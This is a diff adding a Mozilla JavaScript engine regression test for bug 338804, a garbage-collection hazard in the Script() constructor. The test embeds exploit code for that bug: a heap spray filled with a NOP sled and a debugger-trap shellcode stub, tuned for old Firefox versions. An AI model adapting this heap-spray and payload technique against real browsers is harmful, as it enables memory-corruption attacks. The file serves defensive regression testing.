diff -r 000000000000 -r 6474c204b198 js/src/tests/js1_5/extensions/regress-338804-02.js
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/js/src/tests/js1_5/extensions/regress-338804-02.js	Wed Dec 31 06:09:35 2014 +0100
@@ -0,0 +1,70 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('Uses Intel Assembly');
+
+// <script>
+// SpiderMonkey Script() GC hazard exploit
+//
+// scale: magic number ;-)
+//  BonEcho/2.0a2: 3000
+//  Firefox/1.5.0.4: 2000
+//
+var rooter, scale = 2000;
+
+exploit();
+/*
+  if(typeof(setTimeout) != "undefined") {
+  setTimeout(exploit, 2000);
+  } else {
+  exploit();
+  }
+*/
+
+function exploit() {
+  if (typeof Script == 'undefined')
+  {
+    print('Test skipped. Script not defined.');
+  }
+  else
+  {
+    Script({ toString: fillHeap });
+    Script({ toString: fillHeap });
+  }
+}
+
+function createPayload() {
+  var result = "\u9090", i;
+  for(i = 0; i < 9; i++) {
+    result += result;
+  }
+  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+  result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+  return result;
+}
+
+function fillHeap() {
+  rooter = [];
+  var payload = createPayload(), block = "", s2 = scale * 2, i;
+  for(i = 0; i < scale; i++) {
+    rooter[i] = block = block + payload;
+  }
+  for(; i < s2; i++) {
+    rooter[i] = payload + i;
+  }
+  return "";
+}
+
+// </script>
+ 
+reportCompare(expect, actual, summary);